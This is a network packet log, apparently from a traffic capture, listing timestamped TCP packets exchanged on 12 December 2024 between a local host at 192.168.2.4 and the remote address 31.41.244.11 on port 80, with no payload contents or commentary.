Dec 12, 2024 14:26:10.089241028 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.089268923 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089313030 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089329004 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.089333057 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089381933 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089421034 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.089421034 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.089441061 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.208983898 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.209009886 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.209081888 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.213237047 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.213500023 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.213571072 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.280936003 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.281009912 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.281117916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.281379938 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.285160065 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.285363913 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.285816908 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.286068916 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.293545008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.293684959 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.296708107 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.296819925 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.297148943 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.297205925 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.305013895 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.305058002 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.305130005 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.313452005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.313466072 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.314937115 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.321971893 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.322227001 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.322288036 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.330248117 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.330718994 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.330799103 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.338598013 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.338763952 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.339257956 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.339340925 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.347034931 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.347249985 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.347342014 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.355540991 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.355560064 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.355649948 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.362835884 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.362848997 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.363094091 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.370182991 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.370254040 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.472927094 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.473114014 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.473444939 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.475203991 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.475292921 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.475296974 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.475363016 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.479801893 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.480034113 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.480150938 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.484402895 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.484443903 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.484579086 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.489003897 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.489581108 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.490268946 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.493695974 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.493845940 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.494060993 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.498187065 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.498222113 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.498303890 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.502715111 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.503034115 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.503334999 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.507257938 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.507533073 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.507848024 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.511823893 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.512115002 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.512192011 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.516405106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.516902924 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.518013000 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.521089077 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.521197081 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.522499084 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.523336887 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.525696039 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.525712967 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.525774002 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.525973082 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.530002117 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.530066967 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.530471087 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.530530930 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.534902096 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.534917116 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.534969091 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.539122105 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.539195061 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.539200068 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.539336920 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.543716908 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.543798923 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.543922901 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.544002056 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.548230886 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.548307896 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.548623085 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.548921108 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.552948952 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.552961111 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.553442955 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.557406902 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.557480097 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.557507038 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.557642937 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.562156916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.562170029 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.562427044 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.566556931 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.566576004 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.566675901 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.566675901 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.571053982 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.571069956 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.571161032 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.571161032 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.575597048 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.575613976 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.576643944 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.577712059 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.664669991 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.664753914 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.664922953 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.665079117 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.666460991 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.666554928 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.667139053 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.667150974 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.667217016 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.670701027 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.670793056 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.670912027 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.670996904 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.674256086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.674361944 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.674388885 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.674508095 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.677865982 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.677947044 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.677983046 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.678020954 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.681324005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.681426048 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.681549072 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.681653023 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.684693098 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.684771061 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.684771061 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.684844017 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.687988997 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.688046932 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.688110113 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.688180923 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.691248894 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.691400051 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.691488981 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.691488981 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.694525957 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.694546938 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.694634914 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.694634914 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.697596073 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.697652102 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.697814941 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.697860003 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.700712919 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.700800896 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.701073885 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.701127052 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.703706980 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.703818083 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.704082966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.704241991 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.706712008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.707010984 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.707439899 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.707501888 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.709839106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.709897995 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.710256100 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.710422993 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.712835073 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.712951899 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.713021040 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.713089943 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.716052055 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.716063976 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.716284990 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.718945980 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.719026089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.719065905 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.719213009 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.721936941 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.721951008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.722017050 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.722017050 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.724886894 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.725023985 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.725131989 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.725256920 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.727854967 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.727955103 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.727984905 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.728049994 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.730890036 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.730974913 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.731462955 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.731538057 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.733953953 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.734174013 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.734219074 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.734451056 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.737014055 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.737653971 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.737684965 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.739336014 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.739994049 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.740137100 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.740612030 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.740715981 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.742995024 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.743215084 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.743319035 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.743407965 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.746124983 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.746175051 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.746197939 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.746256113 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.749361038 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.749547005 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.749655962 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.749950886 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.752115011 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.752197027 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.752623081 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.752773046 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.755079031 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.755146027 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.755333900 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.755430937 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.758359909 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.758372068 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.758449078 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.758449078 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.761202097 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.761214018 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.761419058 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.764317036 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.764328003 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.764409065 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.767213106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.767262936 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.767306089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.767342091 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.770284891 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.770297050 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.770524979 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.773339033 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.773438931 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.773571014 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.773627996 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.856512070 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.856648922 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.856695890 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.856791019 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.857739925 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.857773066 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.857815027 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.857815027 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.860217094 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.860342026 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.860954046 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.861018896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.861064911 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.861064911 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.863513947 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.863543034 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.863596916 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.863619089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.865741014 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.865868092 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.865888119 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.865983009 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.867925882 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.867986917 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.868022919 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.868098974 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.870130062 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.870300055 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.870337963 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.870430946 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.872591019 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.872674942 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.872678041 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.872739077 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.874620914 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.874674082 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.874731064 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.874830961 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.876676083 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.876885891 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.876981974 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.877057076 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.878851891 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.878932953 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.879034996 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.879108906 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.880951881 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.881016970 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.881052971 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.881136894 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.882941961 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.883029938 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.883045912 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.883120060 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.884926081 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.885051012 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.885173082 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.885260105 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.886887074 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.886950016 CET	80	49758	31.41.244.11	192.168.2.4
